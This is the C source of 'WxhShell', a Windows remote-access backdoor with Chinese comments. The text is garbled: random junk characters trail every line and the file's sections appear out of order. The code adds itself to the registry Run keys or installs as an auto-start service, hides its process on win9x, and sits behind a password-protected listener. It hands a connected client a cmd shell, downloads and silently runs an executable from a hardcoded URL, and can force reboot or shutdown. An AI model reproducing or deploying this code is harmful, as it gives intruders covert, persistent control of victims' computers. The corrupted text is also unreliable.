    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3h:~NL  
    else { L0"|4=  
    closesocket(wsh); N_K9H1 r  
    ExitThread(0); (0.oE%B",1  
    } Rb:H3zh  
    break; : B&~q$  
    } Axsezr/  
  // 获取shell D/Ki^E  
  case 's': { ?@4Mt2Z\  
    CmdShell(wsh); pF8$83S  
    closesocket(wsh); Y:;_R=M  
    ExitThread(0); zN!W_2W*  
    break; V8 8u -  
  } tV(iC~/  
  // 退出 B1_9l3RM  
  case 'x': { @/kI;8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \JM6zR^Ef  
    CloseIt(wsh); \)/qCeiZ  
    break; AVQcD`V3B  
    } <&b,%O  
  // 离开 ;S U<T^a  
  case 'q': { ?h4[yp=w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %cn 1d>M+I  
    closesocket(wsh); 8<; .  
    WSACleanup(); :ir#7/  
    exit(1); 6Sd:5eTEQ  
    break; :G 5p`;hGo  
        } ^5]9B<i[Y  
  } ;>Z+b#C[  
  } Xw9]WJc  
Z0Sqw  
  // 提示信息 ~$6` e:n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :;Z/$M16B  
} sC\?{B0 r  
  } ]\fHc"/  
D Z*c.|W  
  return; mh"PAp  
} xBxiBhqzF  
xMk>r1Ud  
// shell模块句柄 D,.`mX  
int CmdShell(SOCKET sock) (.N n|lY<i  
{ uB"B{:Kz  
STARTUPINFO si; t8RtJ2;  
ZeroMemory(&si,sizeof(si)); ^ulgZ2BQ|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MMrN#&r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GjwH C{  
PROCESS_INFORMATION ProcessInfo; Ec<33i]h*p  
char cmdline[]="cmd"; /F.<Gz;w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :7X4VHw/  
  return 0; l7T?Yx j  
} CP9Q|'oJ  
'~ B2[  
// 自身启动模式 p,z>:3M  
int StartFromService(void) R(0[bMr3Q  
{ 9 D.wW  
typedef struct L=;T$4+p  
{ _}47U7s8  
  DWORD ExitStatus; 92Gfxld\  
  DWORD PebBaseAddress; >.UEs 8QV  
  DWORD AffinityMask; pvsY 0a@4  
  DWORD BasePriority; z4D)Xy"/  
  ULONG UniqueProcessId; j{FRD8]V  
  ULONG InheritedFromUniqueProcessId; Fp?M@  
}   PROCESS_BASIC_INFORMATION; =g6~2p=H  
U4dfO=  
PROCNTQSIP NtQueryInformationProcess; ?i0u)< H  
xr.;B`T0\'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8)iI=,T*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ? Lxc1  
s w >B  
  HANDLE             hProcess; vt"bB  
  PROCESS_BASIC_INFORMATION pbi; rgXX,+cO  
v" #8^q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !ckluj  
  if(NULL == hInst ) return 0; )/!HI0TU  
`yl|N L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Jon3ywd1Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jp_)NC/~g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |4BD  
g}6M+QNj  
  if (!NtQueryInformationProcess) return 0; ci? \W6  
(i{ZxWW&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WUYU\J&q3  
  if(!hProcess) return 0; rUV'DC?eE  
Qg1kF^=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dw}ge,bBic  
D)4#AI  
  CloseHandle(hProcess); n|.eL8lX.<  
}|/<!l+;$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e GAto  
if(hProcess==NULL) return 0; 3`3my=   
|jH Yf42Q  
HMODULE hMod; F{ 4k2Izr  
char procName[255]; `\z )EoI  
unsigned long cbNeeded; ~|~2B$JeV  
V@z/%=PJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9. FXbNYg  
Mf5*Wjz.Mc  
  CloseHandle(hProcess); 4Af7x6a;  
2sqH > fen  
if(strstr(procName,"services")) return 1; // 以服务启动 (G{:O   
ou)0tX3j  
  return 0; // 注册表启动 "kc%d'c(  
} 0"\js:-$  
yHf^6|$8  
// 主模块 {J)gS  
int StartWxhshell(LPSTR lpCmdLine) asvM/ 9  
{ 3# 0Nd"/0  
  SOCKET wsl; P _Gu~B!Y  
BOOL val=TRUE; /&=y_%VR  
  int port=0; {O=_c|u{N  
  struct sockaddr_in door; Y^#>3T  
>;M STHeW  
  if(wscfg.ws_autoins) Install(); bjwl21;{  
]~3a~  
port=atoi(lpCmdLine); ;&w_.j*Is  
n[a%*i6x  
if(port<=0) port=wscfg.ws_port; hE,-CIRg  
nYC S %\"  
  WSADATA data; ?: vB_@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r<dvo%I#|  
~}D"8[ABj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?*q-u9s9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rV%;d[LB  
  door.sin_family = AF_INET; ki `ur%h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !8 l &%  
  door.sin_port = htons(port); r;waT@&C  
{A MAQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ql}#mC.>/  
closesocket(wsl); sx[mbKj<  
return 1; ZI :wJU:f  
} D_z&G)  
|ns9ziTDI  
  if(listen(wsl,2) == INVALID_SOCKET) { Lnh'y`q  
closesocket(wsl); SrWmV@"y  
return 1; HZ{DlH;&  
} 5C-n"8&C&  
  Wxhshell(wsl); ?ZKIs9E[m  
  WSACleanup(); }&Xf<6  
o(i?_4 E  
return 0; J rYL8 1  
cKwmtmwB  
} nl-tJ.MU"  
!r*JGv=  
// 以NT服务方式启动 w*Ze5j4@ \  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2+YM .Zl  
{ gyMy;}a  
DWORD   status = 0; Hg(nC*#/Q  
  DWORD   specificError = 0xfffffff; Io7 =Mc4  
`Go oSX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h&Q-QU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G>2: WQ/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'Hq#9?<2M  
  serviceStatus.dwWin32ExitCode     = 0; tF!C']  
  serviceStatus.dwServiceSpecificExitCode = 0; Oh=Kl3xs  
  serviceStatus.dwCheckPoint       = 0; c<)O#i@3/  
  serviceStatus.dwWaitHint       = 0; K;g6V!U  
b:*( f#"q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "? 5@j/ e`  
  if (hServiceStatusHandle==0) return; -A"0mS8L  
g3'yqIjQL  
status = GetLastError(); >ufN[ab  
  if (status!=NO_ERROR) 4Z{ r  
{ N?s5h?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2ZMVYa2%(  
    serviceStatus.dwCheckPoint       = 0; LgSVEQb6\|  
    serviceStatus.dwWaitHint       = 0; <qxqlEQT  
    serviceStatus.dwWin32ExitCode     = status; s(Fxi|v;  
    serviceStatus.dwServiceSpecificExitCode = specificError; S#ud<=@!9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2cJ3b 0Xx  
    return; N!af1zj  
  } iS8yJRy  
u,S}4p&l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G:PcV_ihx  
  serviceStatus.dwCheckPoint       = 0; MOP#to)k&  
  serviceStatus.dwWaitHint       = 0; R8u9tTW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +,0 :L :a  
} IqjH  
B}ASZYpW>  
// 处理NT服务事件,比如:启动、停止 hL/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4d @ (>  
{ upF^k%<y:  
switch(fdwControl) Dj{t[z]$k  
{ A|0\ct  
case SERVICE_CONTROL_STOP: b0Fr]oGp  
  serviceStatus.dwWin32ExitCode = 0; nTXM/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F='rGQK!1  
  serviceStatus.dwCheckPoint   = 0; }mQh^  
  serviceStatus.dwWaitHint     = 0; *| YR8f  
  { 'y:+w{I2o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~VO?PfxZ  
  } :eTzjW=  
  return; pH!8vnoA  
case SERVICE_CONTROL_PAUSE: 7`t[|o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O(44Dy@2  
  break; JclG*/Wjg4  
case SERVICE_CONTROL_CONTINUE: zlN<yZB^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9y&&6r<I  
  break; 7{DSLKtN  
case SERVICE_CONTROL_INTERROGATE: (Z};(Hn  
  break; %y2 i1^  
}; { BDUl3T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 92D f.xI}  
} pr"~W8  
8G p%Q  
// 标准应用程序主函数 dI9u: -  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dpcFS0  
{ 0RGSv!w  
f{u3RCfX~2  
// 获取操作系统版本 &H@OLyC  
OsIsNt=GetOsVer(); d"4J)+q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tcS7 @^'  
x[H9<&)D  
  // 从命令行安装 %'i`Chc^!;  
  if(strpbrk(lpCmdLine,"iI")) Install(); /N(Ol WEp  
.UJjB}4$f  
  // 下载执行文件  Wfyap)y  
if(wscfg.ws_downexe) { M8' GbF=1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sAU!u  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;b1*2-  
} !8i[.EAT  
Ax;i;<md  
if(!OsIsNt) { -_|U"C$  
// 如果时win9x,隐藏进程并且设置为注册表启动 i\u m;\  
HideProc(); h4dT N}  
StartWxhshell(lpCmdLine); k'$UA$2d  
} =M+enSu  
else )'gO?cN  
  if(StartFromService()) QO%#.s  
  // 以服务方式启动 ~Uw<E:?v  
  StartServiceCtrlDispatcher(DispatchTable); ~$3X>?Q  
else V$XCe  
  // 普通方式启动 4{oS(Vl!  
  StartWxhshell(lpCmdLine); Yy:Q/zw o  
%o9;jX  
return 0; /SDDCZ`;|c  
} XT 'v7  
MX{p)(HW  
.V:H~  
$x %VUms  
=========================================== XQ]5W(EP  
LxC"j1wfl  
!F&Ss|(}  
Ohmi(s   
nXuoRZ  
2m/=0sb\{  
" 'v*Y7zZ#K  
.U:DuyT  
#include <stdio.h> [J.-gN$X@  
#include <string.h> zS##YR  
#include <windows.h> +W P  
#include <winsock2.h> m!-,K8  
#include <winsvc.h> H7"m/Bia  
#include <urlmon.h> <_"^eF+fZ  
E1e#E3Yq}s  
#pragma comment (lib, "Ws2_32.lib") " %)zTH  
#pragma comment (lib, "urlmon.lib") :7+E fu  
$'2yPoR  
#define MAX_USER   100 // 最大客户端连接数 p;VHg  
#define BUF_SOCK   200 // sock buffer L3g}Z1<!$  
#define KEY_BUFF   255 // 输入 buffer s!d"(K9E  
4d*=gy%  
#define REBOOT     0   // 重启 H/Fq'FsQB  
#define SHUTDOWN   1   // 关机 !@x'?+   
#D-L>7,jA  
#define DEF_PORT   5000 // 监听端口 qs]7S^yw  
$`&uu  
#define REG_LEN     16   // 注册表键长度 }.UE<>OX  
#define SVC_LEN     80   // NT服务名长度 _XqD3?yH4  
)Ekp <2B:0  
// 从dll定义API AW+ q#Is  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +EWfsKz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aT %A<'O!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); loLN ~6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L[Dr[  
FM3DJ?\L-  
// wxhshell配置信息 J c~{ E  
struct WSCFG { W1 qE,%cx  
  int ws_port;         // 监听端口 ;*Cu >f7  
  char ws_passstr[REG_LEN]; // 口令 0{P Rv./`  
  int ws_autoins;       // 安装标记, 1=yes 0=no p/a)vN+*x'  
  char ws_regname[REG_LEN]; // 注册表键名 B>CG/]  
  char ws_svcname[REG_LEN]; // 服务名 <d\Lvo[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9)a:8/Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /k(KA [bS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "c6(=FFq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  OBY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q( C\X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 prC1<rm  
xCOC5f5*@  
}; CR-6}T   
QJaF6>m  
// default Wxhshell configuration V+mTo^  
struct WSCFG wscfg={DEF_PORT, JZ5N Q)sX  
    "xuhuanlingzhe", "@JSF  
    1, X~O2!F  
    "Wxhshell", hYS*J908  
    "Wxhshell", SV4a_m?  
            "WxhShell Service", 2U-F}Z  
    "Wrsky Windows CmdShell Service", 4$+9Wv  
    "Please Input Your Password: ", TqM(I[J7\  
  1, YJlpP0;++  
  "http://www.wrsky.com/wxhshell.exe", HY,+;tf2r  
  "Wxhshell.exe" 2sJj -3J  
    }; s.E}xv  
tkFGGc}w\  
// 消息定义模块 N|v3a>;*l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  p=Nord  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3%<Uq%pJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H*DWDJxmV  
char *msg_ws_ext="\n\rExit."; idLysxN  
char *msg_ws_end="\n\rQuit."; rRN7H L+b  
char *msg_ws_boot="\n\rReboot..."; f#RI&I\  
char *msg_ws_poff="\n\rShutdown..."; S+Aq0B<  
char *msg_ws_down="\n\rSave to "; Kp +Lk  
qV%t[>  
char *msg_ws_err="\n\rErr!"; zW`$T 88~  
char *msg_ws_ok="\n\rOK!"; +UxhSFU  
&R54?u^A  
char ExeFile[MAX_PATH]; }U=|{@%  
int nUser = 0; YlW~  
HANDLE handles[MAX_USER]; oJ cR)H  
int OsIsNt; X]J]7\4tF\  
`.f {V  
SERVICE_STATUS       serviceStatus; "5]Fl8c?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }s_'q~R  
K|-?1)Um  
// 函数声明 =qY!<DB[L  
int Install(void); ?=:wIMV  
int Uninstall(void); SMr ]Gf.  
int DownloadFile(char *sURL, SOCKET wsh); -9XB.)\#  
int Boot(int flag); ,~ D_T  
void HideProc(void); pKf]&?FX  
int GetOsVer(void); [C PgfVz  
int Wxhshell(SOCKET wsl); &UhI1mi]h  
void TalkWithClient(void *cs); )$#]h]ac  
int CmdShell(SOCKET sock); M+<xX)   
int StartFromService(void); Y<U"}}  
int StartWxhshell(LPSTR lpCmdLine); >E;-asD  
C WJGr:}&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )J?Nfi%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s? /#8 `  
`6KTQk'  
// 数据结构和表定义 C9-IJj  
SERVICE_TABLE_ENTRY DispatchTable[] = ?*i qg[:  
{ I#0WN  
{wscfg.ws_svcname, NTServiceMain}, FgILQ"+  
{NULL, NULL} K1rF;7Y6  
}; \\80c65-  
jseyT#2  
// 自我安装 c+PT"/3  
int Install(void) D8a[zXWnc  
{ ]I9Hbw  
  char svExeFile[MAX_PATH]; )3_I-Ia  
  HKEY key; ze!S4&B  
  strcpy(svExeFile,ExeFile); h+e Oe}  
r<]Db&k   
// 如果是win9x系统,修改注册表设为自启动 uJz<:/rwZ-  
if(!OsIsNt) { ueO&%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BJI}gm2y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G% wVQ|1  
  RegCloseKey(key); acuch  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O>)<w Ms`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6Z~u2&  
  RegCloseKey(key); cE}R7,y  
  return 0; H"|xG;cf  
    } G}aw{Vbg_  
  } p[BF4h{E  
} v?zA86d_  
else { ^06f\7A  
3F'{JP  
// 如果是NT以上系统,安装为系统服务 a!MhxM5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KlMrM% ;y  
if (schSCManager!=0) #3@ Du(_n  
{ jU2Dpxkt  
  SC_HANDLE schService = CreateService ;SAurG$  
  ( ,1'9l)zP  
  schSCManager, Qmxe*@{`  
  wscfg.ws_svcname, I`"8}d@Jm  
  wscfg.ws_svcdisp, D>9~JHB  
  SERVICE_ALL_ACCESS, k CkSu-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5urM,1SQ@  
  SERVICE_AUTO_START, wjk-$p  
  SERVICE_ERROR_NORMAL, sS5 ]d8  
  svExeFile, Rk2V[R.`S  
  NULL, Xg:w;#r,  
  NULL, *<k8H5z8]  
  NULL, 1{N73]-M:  
  NULL, `YTagUq7  
  NULL 70NQ9*AAy  
  ); ~[|&)}q  
  if (schService!=0) Zw+VcZz3  
  { jR-`ee}y2  
  CloseServiceHandle(schService); s BP.P7u  
  CloseServiceHandle(schSCManager); ok;Yxp>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u"IYAyzL  
  strcat(svExeFile,wscfg.ws_svcname); j .Ro(0%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %VG;vW\V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d (Ufj|;  
  RegCloseKey(key); 85; BS'  
  return 0; ' uvTOgP,  
    } Rd6? ,  
  } J2cqnwUV  
  CloseServiceHandle(schSCManager); Wz)O,X^  
} 0yW#).D^b  
} n:JWu0,h  
cW B>  
return 1; $0WO 4C%M  
} 68ce+|  
f8`K8Y]4  
// 自我卸载 ,at"Q$)T  
int Uninstall(void) n< UuVu  
{ 5wM*(H^c[  
  HKEY key; juQ&v>9W)  
IC&xL9  
if(!OsIsNt) { <p"[jC2zF;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /]H6'  
  RegDeleteValue(key,wscfg.ws_regname); hwF9LD~^  
  RegCloseKey(key); UhuEE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b%`^KEvwfo  
  RegDeleteValue(key,wscfg.ws_regname); UM$\{$  
  RegCloseKey(key); pvL)BD  
  return 0; )N[9r{3  
  } ]v=*WK  
}  X._skq  
} FqQqjA  
else { ([~9v@+  
E (DNK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~hi\*W6jg  
if (schSCManager!=0) S9~X#tpKe  
{ 5WN^8`{'3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yZup4#>8  
  if (schService!=0) r[xj,eIb  
  { '<N^u@tF7  
  if(DeleteService(schService)!=0) { 4W7  
  CloseServiceHandle(schService); ~`'!nzP5H  
  CloseServiceHandle(schSCManager); `.3!  
  return 0; kO:|?}Koc  
  } d-e6hI4b  
  CloseServiceHandle(schService); FEqs4<}E  
  } VC%{qal;q  
  CloseServiceHandle(schSCManager); {)j~5m.,/o  
} R`}C/'Ty  
} 7_Yxz$m  
@c&}\#;  
return 1; }SL&Y`Y]  
} W[trsFP1?  
+"8 [E~Bih  
// 从指定url下载文件 USgZ%xk2  
int DownloadFile(char *sURL, SOCKET wsh) up+W[#+  
{ v+a$Xh3Y~  
  HRESULT hr; u{#}Lo>B #  
char seps[]= "/"; e>yPFXSk  
char *token; Y~ j.Kt  
char *file; (Fc\*Vn  
char myURL[MAX_PATH]; 2$=U#!OtU  
char myFILE[MAX_PATH]; \Fd6Q_  
NfG<!  
strcpy(myURL,sURL); B/"TaXVU  
  token=strtok(myURL,seps); YbaaX{7^  
  while(token!=NULL) >*jcXao^  
  { l-;u*JA  
    file=token; eqvbDva^  
  token=strtok(NULL,seps); 8 MIn~  
  } T: zO9C/  
WXJEAje  
GetCurrentDirectory(MAX_PATH,myFILE); Lhg4fuos@)  
strcat(myFILE, "\\"); ckR>ps[u  
strcat(myFILE, file); L$R"?O7  
  send(wsh,myFILE,strlen(myFILE),0); { +d](+$  
send(wsh,"...",3,0); +NIq}fZn9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cd_\?7  
  if(hr==S_OK) JbT+w \o  
return 0; #2*l"3.$.R  
else P2HR4`c  
return 1; CPJ8G}4  
a7?z{ssEi  
} b1rW0}A  
tC;L A 4  
// 系统电源模块 sb8%!> C  
int Boot(int flag) f3,qDbQyJ  
{ ]=X6* E*/E  
  HANDLE hToken; xBba&A]=  
  TOKEN_PRIVILEGES tkp; _+c' z  
gcS ?r :  
  if(OsIsNt) { i.QS(gM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N=Q<mj;,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9f UD68Nob  
    tkp.PrivilegeCount = 1; b02V#m;Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D~~"wos  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ck`-<)uN  
if(flag==REBOOT) { E}^np[u7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w;;yw3  
  return 0; <x&0a$I  
} ie<zc+*rW  
else { tX'`4!{@+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qp#Is{=m  
  return 0; 36]pE<  
} Ej_>*^b  
  } G6W_)YL  
  else { }s+ t*z  
if(flag==REBOOT) { ibzcO,c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y]3`U UvXD  
  return 0; _H{6{!=y  
} /-J  
else { .>QzM>zO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U-F\3a;&  
  return 0; y!z2+q2  
} { XI0KiE  
} Lzr&Q(mL  
F~bDA~  
return 1; v,T :V#f^  
} dh9Qo4-{  
? <F=*eS  
// win9x进程隐藏模块 .[8! E_  
void HideProc(void) /,C;fT<R  
{ {oXU)9vj  
3(2WO^zX {  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I |PEC-(  
  if ( hKernel != NULL ) vR"?XqgZ  
  { $7bLw)7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @euH[<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %fbV\@jDCX  
    FreeLibrary(hKernel); <K g=?wb  
  } <v=$A]K  
vl`Qz"Xy  
return; 9f(0 qa  
} DB~3(r?K  
+N6IdDN3  
// 获取操作系统版本 `}r)0,Z}3  
int GetOsVer(void) xL&evG#  
{ LiG!xs  
  OSVERSIONINFO winfo; pwF+ZNo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^_4e^D]P"  
  GetVersionEx(&winfo); /EIQMZuYp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ob~7w[n3  
  return 1; ]QU 9|1  
  else saRYd{%+  
  return 0; C33BP}c]  
} hQeGr 2gMq  
xNrPj8V<Y  
// 客户端句柄模块 /M : 7  
int Wxhshell(SOCKET wsl) qw?Wi%t(x8  
{ uI9eUO  
  SOCKET wsh; `e`}dgf0S|  
  struct sockaddr_in client; D%`O.2T Y|  
  DWORD myID; !1b}M/Wx  
Ir\P[A  
  while(nUser<MAX_USER) X!b+Dk  
{ 0dTHF})m  
  int nSize=sizeof(client); qix$ }(P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lGlh/B%  
  if(wsh==INVALID_SOCKET) return 1; qnu<"$   
/IxoS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L[s`8u<_)z  
if(handles[nUser]==0) XnwVK  
  closesocket(wsh); E"O6N.}.  
else AZ9;6Df  
  nUser++; CL|d>  
  } @~z4GTF9i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +P &S0/  
oSf6J:?*e  
  return 0; 7z2Q!0Sz  
} 5gq  
k/Z]zZC  
// 关闭 socket NR>&1aRbyb  
void CloseIt(SOCKET wsh) SeV`RUO  
{ 8aqH;|fG}  
closesocket(wsh); K/YXLR +  
nUser--; +C}s"qrb@  
ExitThread(0); e**<et.  
} }PXtwp13&u  
*@VS^JB  
// 客户端请求句柄 $$ 9!4  
void TalkWithClient(void *cs) zv-9z  
{ *| 9:  
tCR#TW+IY-  
  SOCKET wsh=(SOCKET)cs; 4wkmgS  
  char pwd[SVC_LEN]; !X5LgMw^;  
  char cmd[KEY_BUFF]; 1`sTGNo  
char chr[1]; w)XnMyD(P  
int i,j; e#AmtheZR  
c Cx_tGR"  
  while (nUser < MAX_USER) { o(gV;>I  
1 )H;}%[  
if(wscfg.ws_passstr) { k|^YYi= xF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K0{ ,*>C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pkE4"M!3=  
  //ZeroMemory(pwd,KEY_BUFF); <74r  
      i=0; S-[S?&c`  
  while(i<SVC_LEN) { ,_UTeW6M  
>qU5(M_&L  
  // 设置超时 l[6lXR&|  
  fd_set FdRead; <c&Nm_)  
  struct timeval TimeOut; O9*l6^Scw  
  FD_ZERO(&FdRead); Y6`^E  
  FD_SET(wsh,&FdRead); P9o=G=i  
  TimeOut.tv_sec=8; :CsrcT=  
  TimeOut.tv_usec=0; pupt__NZ)n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [7\x(W-:@>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xC9?Wt'  
]m :Y|,:6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q0%s|8Jc  
  pwd=chr[0]; I uC7Hx`z  
  if(chr[0]==0xd || chr[0]==0xa) { &a+=@Z)kf  
  pwd=0; < w;49 0g  
  break; h2 y<vO  
  } 3*E] :l_  
  i++; *LEI@  
    } [ut[W9  
 6lL^/$]  
  // 如果是非法用户,关闭 socket B%WkM\\!^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >uxAti\  
} h!7Lvh`o  
.;)V;!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oS~;>]W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fd#Zu.Np  
Ab8Ke|fA  
while(1) { ZA\;9M=  
3pe1"maP  
  ZeroMemory(cmd,KEY_BUFF); M}$Td_g  
& @${@  
      // 自动支持客户端 telnet标准   ;?v&=Z't.  
  j=0; x->+w Jm@s  
  while(j<KEY_BUFF) { V@nZ_.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [ @2$W?0i  
  cmd[j]=chr[0]; }lP`3e  
  if(chr[0]==0xa || chr[0]==0xd) { 2|&SG3e+(I  
  cmd[j]=0; !R![:T\,  
  break; +i[vJRLxl~  
  } i]Bu7Fuu  
  j++; AwZz}J+  
    } C#B|^A_  
ornU8H`  
  // 下载文件 NieNfurG%  
  if(strstr(cmd,"http://")) { mNsd&Rk'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); agq4Zy  
  if(DownloadFile(cmd,wsh)) B=%x#em  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /6Kx249Dw  
  else =ui3I_*)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7GCxd#DJ  
  } v3G$9 (NE;  
  else {  >hzSd@J&  
Qkw?Q V-`k  
    switch(cmd[0]) { 0\, !  
